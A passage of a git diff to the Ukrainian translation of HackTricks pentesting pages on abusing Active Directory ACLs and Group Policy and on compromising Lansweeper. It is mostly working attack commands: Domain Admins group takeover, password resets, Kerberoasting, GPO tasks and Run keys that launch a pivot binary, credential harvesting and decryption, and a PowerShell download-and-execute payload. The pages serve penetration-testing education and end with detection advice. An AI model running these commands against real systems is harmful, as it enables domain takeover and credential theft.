цільовим обліковим записом користувача. Після того як права `GenericAll` підтверджено за допомогою команди `Get-ObjectAcl`, атакуючий може: +Це право надає зловмиснику повний контроль над цільовим обліковим записом користувача. Після підтвердження прав `GenericAll` за допомогою команди `Get-ObjectAcl`, зловмисник може: -- **Change the Target's Password**: Використовуючи `net user /domain`, атакуючий може скинути пароль користувача. -- **Targeted Kerberoasting**: Призначте SPN для облікового запису користувача, щоб зробити його kerberoastable, а потім використайте Rubeus і targetedKerberoast.py для витягання та спроби злому хешів ticket-granting ticket (TGT). +- **Змінити пароль цілі**: Використовуючи `net user /domain`, зловмисник може скинути пароль користувача. +- **Targeted Kerberoasting**: Призначити SPN для облікового запису користувача, щоб зробити його kerberoastable, а потім використати Rubeus та targetedKerberoast.py для витягання та спроби злому хешів ticket-granting ticket (TGT). ```bash Set-DomainObject -Credential $creds -Identity -Set @{serviceprincipalname="fake/NOTHING"} .\Rubeus.exe kerberoast /user: /nowrap Set-DomainObject -Credential $creds -Identity -Clear serviceprincipalname -Verbose ``` -- **Targeted ASREPRoasting**: Вимкнути pre-authentication для користувача, роблячи їхній обліковий запис вразливим до ASREPRoasting. +- **Цілеспрямований ASREPRoasting**: Вимкніть pre-authentication для користувача, зробивши його обліковий запис вразливим до ASREPRoasting. ```bash Set-DomainObject -Identity -XOR @{UserAccountControl=4194304} ``` ## **GenericAll — права над групою** -Ця привілегія дозволяє атакуючому маніпулювати членством у групі, якщо він має права `GenericAll` на групу, наприклад `Domain Admins`. Після визначення distinguished name (DN) групи за допомогою `Get-NetGroup`, атакуючий може: +Ця привілегія дозволяє зловмиснику маніпулювати членством у групі, якщо він має `GenericAll` права на групу, наприклад `Domain Admins`. Після визначення distinguished name групи за допомогою `Get-NetGroup`, зловмисник може: -- **Додати себе до групи Domain Admins**: Цього можна досягти за допомогою прямих команд або використовуючи модулі, такі як Active Directory або PowerSploit. +- **Додати себе до групи `Domain Admins`**: Це можна зробити за допомогою прямих команд або використовуючи модулі, як-от Active Directory чи PowerSploit. ```bash net group "domain admins" spotless /add /domain Add-ADGroupMember -Identity "domain admins" -Members spotless Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local" ``` -- З Linux ви також можете використовувати BloodyAD, щоб додати себе до довільних груп, якщо ви маєте над ними членство з правами GenericAll/Write. Якщо цільова група вкладена в “Remote Management Users”, ви відразу отримаєте доступ по WinRM на хостах, що враховують цю групу: +- З Linux ви також можете використовувати BloodyAD, щоб додати себе до довільних груп, якщо ви маєте GenericAll/Write права щодо них. Якщо цільова група вкладена в “Remote Management Users”, ви миттєво отримаєте доступ WinRM на хостах, які враховують цю групу: ```bash # Linux tooling example (BloodyAD) to add yourself to a target group bloodyAD --host -d -u -p '' add groupMember "" @@ -46,35 +46,35 @@ netexec winrm -u -p '' ``` ## **GenericAll / GenericWrite / Write on Computer/User** -Володіння цими привілеями на об'єкті комп'ютера або обліковому записі користувача дозволяє: +Наявність цих привілеїв на об'єкті комп'ютера або обліковому записі користувача дозволяє: - **Kerberos Resource-based Constrained Delegation**: Дозволяє захопити об'єкт комп'ютера. -- **Shadow Credentials**: Використовуйте цю техніку, щоб видавати себе за обліковий запис комп'ютера або користувача, експлуатуючи привілеї для створення Shadow Credentials. +- **Shadow Credentials**: Використовуйте цю техніку, щоб видавати себе за обліковий запис комп'ютера або користувача, використовуючи привілеї для створення Shadow Credentials. ## **WriteProperty on Group** -Якщо користувач має `WriteProperty` права на всі об'єкти для конкретної групи (наприклад, `Domain Admins`), він може: +Якщо користувач має `WriteProperty` права на всі об'єкти для певної групи (наприклад, `Domain Admins`), він може: -- **Add Themselves to the Domain Admins Group**: Досягається поєднанням команд `net user` та `Add-NetGroupUser`; цей метод дозволяє ескалацію привілеїв у межах домену. +- **Add Themselves to the Domain Admins Group**: Досягається шляхом поєднання команд `net user` і `Add-NetGroupUser`; цей метод дозволяє ескалацію привілеїв у домені. ```bash net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain ``` -## **Self (самочленство у групі)** +## **Self (Self-Membership) on Group** -Цей привілей дозволяє зловмисникам додавати себе до певних груп, таких як `Domain Admins`, через команди, які безпосередньо змінюють членство в групі. Використання наступної послідовності команд дозволяє додати себе: +Ця привілея дозволяє атакувальникам додавати себе до конкретних груп, таких як `Domain Admins`, за допомогою команд, які безпосередньо маніпулюють членством у групі. Використання наступної послідовності команд дозволяє самододавання: ```bash net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain ``` -## **WriteProperty (самододавання до груп)** +## **WriteProperty (Self-Membership)** -Схожа привілегія, вона дозволяє атакувальникам безпосередньо додавати себе до груп, змінюючи властивості груп, якщо вони мають право `WriteProperty` на ці групи. Підтвердження та виконання цієї привілегії здійснюються за допомогою: +Аналогічне повноваження, яке дозволяє зловмисникам безпосередньо додавати себе до груп шляхом зміни властивостей груп, якщо вони мають право `WriteProperty` на цих групах. Підтвердження та виконання цього повноваження здійснюються за допомогою: ```bash Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} net group "domain admins" spotless /add /domain ``` ## **ForceChangePassword** -Маючи `ExtendedRight` на користувача для `User-Force-Change-Password`, можна скинути пароль без знання поточного пароля. Перевірка цього права та його експлуатація можуть виконуватись через PowerShell або альтернативні інструменти командного рядка, що надає кілька методів скидання пароля користувача, включно з інтерактивними сесіями та one-liners для неінтерактивних середовищ. Команди варіюються від простих викликів PowerShell до використання `rpcclient` на Linux, що демонструє різноманітність векторів атаки. +Наявність `ExtendedRight` для користувача з правом `User-Force-Change-Password` дозволяє скинути пароль без знання поточного пароля. Перевірка цього права та його використання можуть виконуватися через PowerShell або альтернативні інструменти командного рядка, які пропонують кілька методів скидання пароля користувача, включно з інтерактивними сесіями та one-liners для неінтерактивних середовищ. Команди варіюються від простих викликів PowerShell до використання `rpcclient` на Linux, що демонструє гнучкість векторів атаки. ```bash Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"} Set-DomainUserPassword -Identity delegate -Verbose @@ -85,23 +85,23 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri rpcclient -U KnownUsername 10.10.10.192 > setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!' ``` -## **WriteOwner в групі** +## **WriteOwner у групі** -Якщо зловмисник виявить, що має права `WriteOwner` над групою, він може змінити власника групи на себе. Це особливо критично, коли йдеться про `Domain Admins`, оскільки зміна власника дозволяє ширший контроль над атрибутами групи та її членством. Процес включає визначення потрібного об'єкта за допомогою `Get-ObjectAcl`, а потім використання `Set-DomainObjectOwner` для зміни власника — або за SID, або за ім'ям. +Якщо зловмисник виявить, що має права `WriteOwner` над групою, він може змінити власника групи на себе. Це особливо критично, коли мова про `Domain Admins`, оскільки зміна власника дає ширший контроль над атрибутами групи та її членством. Процес полягає у виявленні відповідного об'єкта за допомогою `Get-ObjectAcl`, а потім використанні `Set-DomainObjectOwner` для зміни власника — або за SID, або за іменем. ```bash Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico ``` -## **GenericWrite на користувача** +## **GenericWrite для користувача** -Цей дозвіл дозволяє атакуючому змінювати властивості користувача. Зокрема, маючи доступ `GenericWrite`, атакуючий може змінити шлях до скрипту входу користувача, щоб виконати шкідливий скрипт під час входу. Це досягається за допомогою команди `Set-ADObject` для оновлення властивості `scriptpath` цільового користувача, вказавши на скрипт атакуючого. +Цей дозвіл дозволяє зловмиснику змінювати властивості користувача. Зокрема, маючи доступ `GenericWrite`, зловмисник може змінити шлях скрипта входу користувача, щоб виконати шкідливий скрипт при вході. Це досягається за допомогою команди `Set-ADObject` для оновлення властивості `scriptpath` цільового користувача, щоб вона вказувала на скрипт зловмисника. ```bash Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1" ``` ## **GenericWrite on Group** -З цим привілеєм зловмисники можуть маніпулювати членством у групі, наприклад додавати себе або інших користувачів до певних груп. Цей процес включає створення об'єкта облікових даних (credential object), використання його для додавання або видалення користувачів із групи та перевірку змін членства за допомогою команд PowerShell. +З цією привілеєю нападники можуть змінювати членство в групах, наприклад додавати до певних груп себе або інших користувачів. Цей процес включає створення credential object, використання його для додавання або видалення користувачів із групи та перевірку змін у членстві за допомогою команд PowerShell. ```bash $pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd) @@ -111,7 +111,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use ``` ## **WriteDACL + WriteOwner** -Володіння об'єктом AD і наявність привілеїв `WriteDACL` на ньому дозволяє нападнику надати собі привілеї `GenericAll` щодо цього об'єкта. Це досягається шляхом маніпуляцій ADSI, що дає повний контроль над об'єктом і можливість змінювати його членство в групах. Водночас існують обмеження при спробі експлуатувати ці привілеї за допомогою модуля Active Directory та cmdlet'ів `Set-Acl` / `Get-Acl`. +Володіння об'єктом AD та наявність `WriteDACL` привілеїв на ньому дозволяє нападнику надати собі привілеї `GenericAll` над цим об'єктом. Це реалізується через ADSI manipulation, що надає повний контроль над об'єктом та можливість змінювати його членство в групах. Однак існують обмеження при спробі використати ці привілеї за допомогою модуля Active Directory і його cmdlets `Set-Acl` / `Get-Acl`. ```bash $ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local" $IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier]) @@ -121,64 +121,64 @@ $ADSI.psbase.commitchanges() ``` ## **Реплікація в домені (DCSync)** -Атака DCSync використовує специфічні дозволи реплікації в домені, щоб імітувати Domain Controller та синхронізувати дані, включно з обліковими даними користувачів. Ця потужна техніка вимагає дозволів типу `DS-Replication-Get-Changes`, що дозволяє зловмисникам витягувати конфіденційну інформацію з AD-середовища без прямого доступу до контролера домену. [**Learn more about the DCSync attack here.**](../dcsync.md) +Атака DCSync використовує специфічні дозволи на реплікацію в домені, щоб імітувати контролер домену та синхронізувати дані, включно з обліковими даними користувачів. Ця потужна техніка потребує таких дозволів, як `DS-Replication-Get-Changes`, що дозволяє зловмисникам витягувати чутливу інформацію з середовища AD без прямого доступу до контролера домену. [**Дізнайтеся більше про атаку DCSync тут.**](../dcsync.md) ## Делегування GPO ### Делегування GPO -Делегований доступ для управління Group Policy Objects (GPOs) може створювати значні ризики безпеки. Наприклад, якщо користувачу `offense\spotless` делеговано права управління GPO, він може мати такі привілеї, як **WriteProperty**, **WriteDacl** та **WriteOwner**. Ці дозволи можуть бути зловживані в шкідливих цілях, як виявлено за допомогою PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` +Делегований доступ для керування Об'єктами групової політики (GPO) може становити значні ризики для безпеки. Наприклад, якщо користувач, такий як `offense\spotless`, має делеговані права керування GPO, йому можуть надаватися привілеї, як-от **WriteProperty**, **WriteDacl** та **WriteOwner**. Цими дозволами можна зловживати зловмисними цілями, як це ідентифікується за допомогою PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` ### Перелічення дозволів GPO -Щоб виявити некоректно налаштовані GPO, можна зв'язати cmdlet-и PowerSploit. Це дозволяє знайти GPO, якими конкретний користувач має права керувати: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` +Щоб виявити неправильно налаштовані GPO, cmdlet'и PowerSploit можна ланцюжити. Це дозволяє знайти GPO, якими певний користувач може керувати: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` -**Комп'ютери, до яких застосовано певну політику**: Можна визначити, до яких комп'ютерів застосовується конкретний GPO, що допомагає зрозуміти масштаби потенційного впливу. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}` +**Комп'ютери, до яких застосовано певну політику**: Можна визначити, до яких комп'ютерів застосовано конкретний GPO, що допомагає зрозуміти масштаб потенційного впливу. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}` -**Політики, застосовані до певного комп'ютера**: Щоб побачити, які політики застосовані до конкретного комп'ютера, можна використати `Get-DomainGPO`. +**Політики, застосовані до певного комп'ютера**: Щоб побачити, які політики застосовано до конкретного комп'ютера, можна використати команди на зразок `Get-DomainGPO`. -**OUs, до яких застосовано певну політику**: Визначення organizational units (OUs), які підпадають під дію певної політики, можна зробити за допомогою `Get-DomainOU`. +**OU, до яких застосовано політику**: Визначити організаційні підрозділи (OU), на які впливає політика, можна за допомогою `Get-DomainOU`. -Ви також можете використати інструмент [**GPOHound**](https://github.com/cogiceo/GPOHound) для перелічення GPO і пошуку в них проблем. +Ви також можете використати інструмент [**GPOHound**](https://github.com/cogiceo/GPOHound) для перерахування GPO і пошуку в них проблем. ### Зловживання GPO - New-GPOImmediateTask -Некоректно налаштовані GPO можуть бути використані для виконання коду, наприклад, створенням immediate scheduled task. Це може бути використано для додавання користувача до локальної групи administrators на уражених машинах, суттєво підвищуючи привілеї: +Неправильно налаштовані GPO можна експлуатувати для виконання коду, наприклад шляхом створення миттєвого запланованого завдання. Це можна використати, щоб додати користувача до групи локальних адміністраторів на уражених машинах, що значно підвищує привілеї: ```bash New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force ``` -### GroupPolicy module - Зловживання GPO +### GroupPolicy module - Abuse GPO -Модуль GroupPolicy, якщо встановлений, дозволяє створювати та прив'язувати нові GPOs, а також встановлювати налаштування, такі як значення реєстру для виконання backdoors на уражених комп'ютерах. Цей метод вимагає оновлення GPO та входу користувача в систему для виконання: +Модуль GroupPolicy, якщо встановлено, дозволяє створювати та пов'язувати нові GPOs, а також задавати параметри, такі як значення реєстру, для виконання backdoors на уражених комп'ютерах. Цей метод вимагає оновлення GPO та входу користувача в систему на комп'ютері для виконання: ```bash New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io" Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString ``` ### SharpGPOAbuse - Abuse GPO -SharpGPOAbuse пропонує метод зловживання існуючими GPO шляхом додавання завдань або модифікації налаштувань без необхідності створювати нові GPO. Цей інструмент вимагає модифікації існуючих GPO або використання RSAT для створення нових перед застосуванням змін: +SharpGPOAbuse пропонує метод зловживання існуючими GPO шляхом додавання завдань або зміни налаштувань без необхідності створювати нові GPO. Цей інструмент вимагає модифікації існуючих GPO або використання RSAT для створення нових перед застосуванням змін: ```bash .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging" ``` ### Примусове оновлення політики -Оновлення GPO зазвичай відбуваються приблизно кожні 90 хвилин. Щоб прискорити цей процес, особливо після внесення змін, на цільовому комп'ютері можна виконати команду `gpupdate /force`, щоб примусово застосувати оновлення політик негайно. Ця команда гарантує, що будь-які зміни до GPO застосуються без очікування наступного автоматичного циклу оновлення. +Оновлення GPO зазвичай відбуваються приблизно кожні 90 хвилин. Щоб пришвидшити цей процес, особливо після внесення зміни, на цільовому комп’ютері можна виконати команду `gpupdate /force` для примусового негайного оновлення політик. Ця команда гарантує, що будь-які зміни в GPO застосуються без очікування наступного автоматичного циклу оновлення. ### Під капотом -При перегляді Scheduled Tasks для певного GPO, наприклад `Misconfigured Policy`, можна підтвердити додавання завдань, таких як `evilTask`. Такі завдання створюються через скрипти або інструменти командного рядка з метою змінити поведінку системи або підвищити привілеї. +Після перевірки запланованих завдань для певного GPO, наприклад `Misconfigured Policy`, можна підтвердити додавання завдань, таких як `evilTask`. Ці завдання створюються за допомогою скриптів або інструментів командного рядка з метою змінити поведінку системи або підвищити привілеї. -Структура завдання, як показано в XML-файлі конфігурації, згенерованому `New-GPOImmediateTask`, описує деталі запланованого завдання — включаючи команду для виконання та її тригери. Цей файл відображає, як заплановані завдання визначаються та керуються в межах GPO, надаючи метод для виконання довільних команд або скриптів у рамках примусового застосування політик. +Структура завдання, як показано у XML-конфігураційному файлі, згенерованому `New-GPOImmediateTask`, описує деталі запланованого завдання — включно з командою, що має бути виконана, та її тригерами. Цей файл демонструє, як заплановані завдання визначаються та керуються в межах GPO, надаючи спосіб виконання довільних команд або скриптів у рамках застосування політик. ### Користувачі та групи -GPO також дозволяють маніпулювати членством користувачів та груп на цільових системах. Редагуючи файли політик Users and Groups безпосередньо, зловмисники можуть додавати користувачів до привілейованих груп, таких як локальна група `administrators`. Це можливо через делегування прав керування GPO, що дозволяє змінювати файли політик для додавання нових користувачів або зміни членства в групах. +GPO також дозволяють маніпулювати членством користувачів і груп на цільових системах. Редагуючи файли політик Users and Groups безпосередньо, зловмисники можуть додавати користувачів до привілейованих груп, таких як локальна група `administrators`. Це можливо завдяки делегуванню прав управління GPO, яке дозволяє змінювати файли політик для включення нових користувачів або зміни членства в групах. -XML-файл конфігурації для Users and Groups описує, як ці зміни реалізуються. Додаючи записи до цього файлу, певним користувачам можна надати підвищені привілеї на всіх уражених системах. Цей метод пропонує прямий підхід до ескалації привілеїв через маніпуляцію GPO. +XML-конфігураційний файл для Users and Groups описує, як реалізуються ці зміни. Додаючи записи до цього файлу, конкретним користувачам можна надати підвищені привілеї на уражених системах. Цей метод дає прямий шлях до підвищення привілеїв через маніпуляцію GPO. -Крім того, можна розглядати додаткові методи для виконання коду або підтримання персистенції, такі як використання скриптів logon/logoff, модифікація ключів реєстру для автозапуску, встановлення програмного забезпечення через .msi-файли або редагування конфігурацій сервісів. Ці техніки надають різні шляхи для збереження доступу та контролю над цільовими системами шляхом зловживання GPO. +Крім того, можна розглянути додаткові методи для виконання коду або підтримки персистентності, такі як використання скриптів входу/виходу, модифікація ключів реєстру для автозапуску, встановлення ПЗ через .msi-файли або редагування конфігурацій сервісів. Ці техніки надають різні шляхи для збереження доступу та контролю над цільовими системами шляхом зловживання GPO. -## References +## Посилання - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) - [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges) diff --git a/src/windows-hardening/active-directory-methodology/lansweeper-security.md b/src/windows-hardening/active-directory-methodology/lansweeper-security.md index b248507cf..366223246 100644 --- a/src/windows-hardening/active-directory-methodology/lansweeper-security.md +++ b/src/windows-hardening/active-directory-methodology/lansweeper-security.md @@ -1,28 +1,28 @@ -# Lansweeper Abuse: Credential Harvesting, Secrets Decryption, and Deployment RCE +# Зловживання Lansweeper: Збирання облікових даних, розшифрування секретів та Deployment RCE {{#include ../../banners/hacktricks-training.md}} -Lansweeper — платформа для виявлення та інвентаризації IT-активів, яка зазвичай розгортається на Windows та інтегрується з Active Directory. Облікові дані, налаштовані в Lansweeper, використовуються його скануючими рушіями для автентифікації на ресурсах через протоколи, як-от SSH, SMB/WMI та WinRM. Неправильні налаштування часто дозволяють: +Lansweeper — платформа для виявлення та інвентаризації IT-активів, яка часто розгортається на Windows і інтегрується з Active Directory. Credentials, налаштовані в Lansweeper, використовуються його скануючими рушіями для автентифікації до ресурсів по протоколах, таких як SSH, SMB/WMI і WinRM. Неправильні налаштування часто дозволяють: -- Перехоплення облікових даних шляхом перенаправлення Scanning Target на хост під контролем атакуючого (honeypot) -- Зловживання AD ACLs, які стають доступними через Lansweeper-related groups, щоб отримати віддалений доступ -- Розшифровку секретів, налаштованих у Lansweeper (connection strings і збережені scanning credentials), безпосередньо на хості -- Виконання коду на керованих кінцевих точках через функцію Deployment (часто під SYSTEM) +- Перехоплення Credential шляхом перенаправлення scanning target на хост, керований атакуючим (honeypot) +- Зловживання AD ACLs, доступними через групи, пов’язані з Lansweeper, щоб отримати віддалений доступ +- Розшифрування на хості секретів, налаштованих у Lansweeper (connection strings та збережені scanning credentials) +- Виконання коду на керованих кінцевих точках через функцію Deployment (часто виконується як SYSTEM) -Ця сторінка узагальнює практичні робочі процеси та команди, щоб зловживати цими поведінками під час engagement. +Ця сторінка підсумовує практичні робочі процеси та команди для зловживання цими поведінками під час engagement-ів. ## 1) Harvest scanning credentials via honeypot (SSH example) -Ідея: створити Scanning Target, що вказує на ваш хост, і прив’язати до нього існуючі Scanning Credentials. Коли скан запуститься, Lansweeper спробує автентифікуватися цими обліковими даними, а ваш honeypot зафіксує їх. +Ідея: створити Scanning Target, який вказує на ваш хост, і зв’язати наявні Scanning Credentials з ним. Коли скан запуститься, Lansweeper спробує автентифікуватися цими credentials, і ваш honeypot зафіксує їх. Огляд кроків (web UI): - Scanning → Scanning Targets → Add Scanning Target - Type: IP Range (or Single IP) = your VPN IP -- Налаштуйте SSH порт на щось доступне (наприклад, 2022, якщо 22 заблоковано) -- Вимкніть розклад і плануйте запуск вручну -- Scanning → Scanning Credentials → переконайтесь, що існують Linux/SSH creds; зв’яжіть їх із новою ціллю (увімкніть всі за потреби) -- Натисніть “Scan now” на цілі -- Запустіть SSH honeypot і витягніть спроби введення username/password +- Configure SSH port to something reachable (e.g., 2022 if 22 is blocked) +- Disable schedule and plan to trigger manually +- Scanning → Scanning Credentials → ensure Linux/SSH creds exist; map them to the new target (enable all as needed) +- Click “Scan now” on the target +- Run an SSH honeypot and retrieve the attempted username/password Example with sshesame: ```yaml @@ -39,22 +39,22 @@ sshesame --config sshesame.conf # authentication for user "svc_inventory_lnx" with password "" accepted # connection with client version "SSH-2.0-RebexSSH_5.0.x" established ``` -Перевірте захоплені creds проти служб DC: +Перевірте захоплені creds проти сервісів DC: ```bash # SMB/LDAP/WinRM checks (NetExec) netexec smb inventory.sweep.vl -u svc_inventory_lnx -p '' netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '' netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '' ``` -Примітки -- Працює аналогічно для інших протоколів, коли ви можете змусити сканер підключитися до вашого listener (SMB/WinRM honeypots, etc.). SSH часто найпростіший. -- Багато сканерів ідентифікують себе за відмінними client banners (e.g., RebexSSH) і намагаються виконати невинні команди (uname, whoami, etc.). +Notes +- Працює аналогічно для інших протоколів, коли ви можете примусити сканер підключитися до вашого listener (SMB/WinRM honeypots тощо). SSH часто буває найпростішим. +- Багато сканерів ідентифікують себе за характерними клієнтськими банерами (наприклад, RebexSSH) і спробують виконати нешкідливі команди (uname, whoami тощо). -## 2) AD ACL abuse: отримати віддалений доступ, додавши себе до групи app-admin +## 2) AD ACL abuse: отримайте віддалений доступ, додавши себе до групи app-admin -Використовуйте BloodHound для перелічення ефективних прав скомпрометованого облікового запису. Типова знахідка — група, специфічна для сканера або додатку (e.g., “Lansweeper Discovery”), яка має GenericAll над привілейованою групою (e.g., “Lansweeper Admins”). Якщо привілейована група також є членом “Remote Management Users”, WinRM стає доступним після того, як ми додамо себе. +Використовуйте BloodHound для переліку ефективних прав з компрометованого облікового запису. Частим знаходженням є група, специфічна для сканера або додатку (наприклад, “Lansweeper Discovery”), що має GenericAll над привілейованою групою (наприклад, “Lansweeper Admins”). Якщо привілейована група також є членом “Remote Management Users”, WinRM стає доступним після того, як ми додамо себе. -Приклади збору: +Collection examples: ```bash # NetExec collection with LDAP netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '' --bloodhound -c All --dns-server @@ -62,7 +62,7 @@ netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '' --bloodhoun # RustHound-CE collection (zip for BH CE import) rusthound-ce --domain sweep.vl -u svc_inventory_lnx -p '' -c All --zip ``` -Exploit GenericAll у групі за допомогою BloodyAD (Linux): +Exploit GenericAll на групі за допомогою BloodyAD (Linux): ```bash # Add our user into the target group bloodyAD --host inventory.sweep.vl -d sweep.vl -u svc_inventory_lnx -p '' \ @@ -71,24 +71,24 @@ add groupMember "Lansweeper Admins" svc_inventory_lnx # Confirm WinRM access if the group grants it netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '' ``` -Потім отримайте інтерактивний shell: +Потім отримайте interactive shell: ```bash evil-winrm -i inventory.sweep.vl -u svc_inventory_lnx -p '' ``` -Порада: операції Kerberos чутливі до часу. Якщо ви отримаєте KRB_AP_ERR_SKEW, спочатку синхронізуйте час із DC: +Порада: операції Kerberos чутливі до часу. Якщо ви отримали KRB_AP_ERR_SKEW, спочатку синхронізуйте час з DC: ```bash sudo ntpdate # or rdate -n ``` -## 3) Розшифрувати секрети, налаштовані в Lansweeper, на хості +## 3) Розшифрування секретів, налаштованих у Lansweeper, на хості -На сервері Lansweeper сайт ASP.NET зазвичай зберігає зашифрований рядок підключення та симетричний ключ, що використовується додатком. За наявності відповідного локального доступу ви можете розшифрувати DB connection string і потім витягти збережені облікові дані сканування. +На сервері Lansweeper сайт ASP.NET зазвичай зберігає зашифрований connection string та symmetric key, які використовуються додатком. Маючи відповідний local access, ви можете розшифрувати DB connection string і потім витягти збережені scanning credentials. Типові розташування: - Web config: `C:\Program Files (x86)\Lansweeper\Website\web.config` - `` … `…` - Application key: `C:\Program Files (x86)\Lansweeper\Key\Encryption.txt` -Використовуйте SharpLansweeperDecrypt, щоб автоматизувати розшифрування та дамп збережених облікових даних: +Використовуйте SharpLansweeperDecrypt для автоматизації дешифрування та вивантаження збережених облікових даних: ```powershell # From a WinRM session or interactive shell on the Lansweeper host # PowerShell variant @@ -99,24 +99,24 @@ powershell -ExecutionPolicy Bypass -File C:\ProgramData\LansweeperDecrypt.ps1 # - Connect to Lansweeper DB # - Decrypt stored scanning credentials and print them in cleartext ``` -Очікуваний результат включає DB connection details та облікові дані сканера у відкритому тексті, такі як облікові записи Windows і Linux, що використовуються в межах інфраструктури. Часто вони мають підвищені локальні права на хостах домену: +Очікуваний вивід включає DB connection details та plaintext scanning credentials, такі як Windows і Linux accounts, що використовуються по всій інфраструктурі. Вони часто мають підвищені локальні права на domain hosts: ```text Inventory Windows SWEEP\svc_inventory_win Inventory Linux svc_inventory_lnx ``` -Використовуйте відновлені Windows scanning creds для привілейованого доступу: +Використовуйте відновлені Windows scanning creds для отримання привілейованого доступу: ```bash netexec winrm inventory.sweep.vl -u svc_inventory_win -p '' # Typically local admin on the Lansweeper-managed host; often Administrators on DCs/servers ``` ## 4) Lansweeper Deployment → SYSTEM RCE -Як член групи “Lansweeper Admins”, веб-інтерфейс надає доступ до Deployment та Configuration. У розділі Deployment → Deployment packages ви можете створювати пакети, які виконують довільні команди на цільових assets. Виконання здійснює служба Lansweeper з високими привілеями, що дає можливість виконувати код від імені NT AUTHORITY\SYSTEM на вибраному хості. +Як член “Lansweeper Admins”, веб-інтерфейс відкриває розділи Deployment і Configuration. У Deployment → Deployment packages можна створювати пакети, які виконують довільні команди на цільових ресурсах. Виконання здійснюється службою Lansweeper з високими привілеями, що призводить до виконання коду як NT AUTHORITY\SYSTEM на вибраному хості. High-level steps: -- Створіть новий Deployment package, який виконує PowerShell або cmd one-liner (reverse shell, add-user, etc.). -- Оберіть бажаний asset (наприклад, DC/host, де працює Lansweeper) та натисніть Deploy/Run now. -- Отримайте shell від імені SYSTEM. +- Створіть новий Deployment package, який запускає PowerShell або cmd one-liner (reverse shell, add-user тощо). +- Виберіть потрібний asset (наприклад, DC/host, де працює Lansweeper) і натисніть Deploy/Run now. +- Отримайте shell під SYSTEM. Example payloads (PowerShell): ```powershell @@ -127,17 +127,17 @@ powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt" powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http:///rs.ps1')" ``` OPSEC -- Дії з розгортання шумні й залишають логи в Lansweeper та журналах подій Windows. Використовуйте з обачністю. +- Дії з розгортання шумні й залишають журнали в Lansweeper та журнали подій Windows. Використовуйте обережно. -## Виявлення та зміцнення безпеки +## Виявлення та укріплення -- Обмежте або видаліть анонімну SMB-енумерацію. Моніторьте RID cycling та аномальний доступ до спільних ресурсів Lansweeper. -- Контроль вихідного трафіку: блокувати або жорстко обмежити вихідні SSH/SMB/WinRM з хостів сканера. Створюйте оповіщення про нестандартні порти (наприклад, 2022) та незвичні клієнтські банери на кшталт Rebex. -- Захистіть `Website\\web.config` та `Key\\Encryption.txt`. Виносьте секрети у vault і перевипускайте їх при компрометації. Розгляньте сервісні акаунти з мінімальними привілеями та gMSA там, де це можливо. -- AD-моніторинг: сповіщення про зміни у групах, пов'язаних з Lansweeper (наприклад, “Lansweeper Admins”, “Remote Management Users”), а також про зміни ACL, що надають GenericAll/Write членство в привілейованих групах. -- Аудит створення/змін/виконань Deployment-пакетів; оповіщення про пакети, які створюють cmd.exe/powershell.exe або несподівані 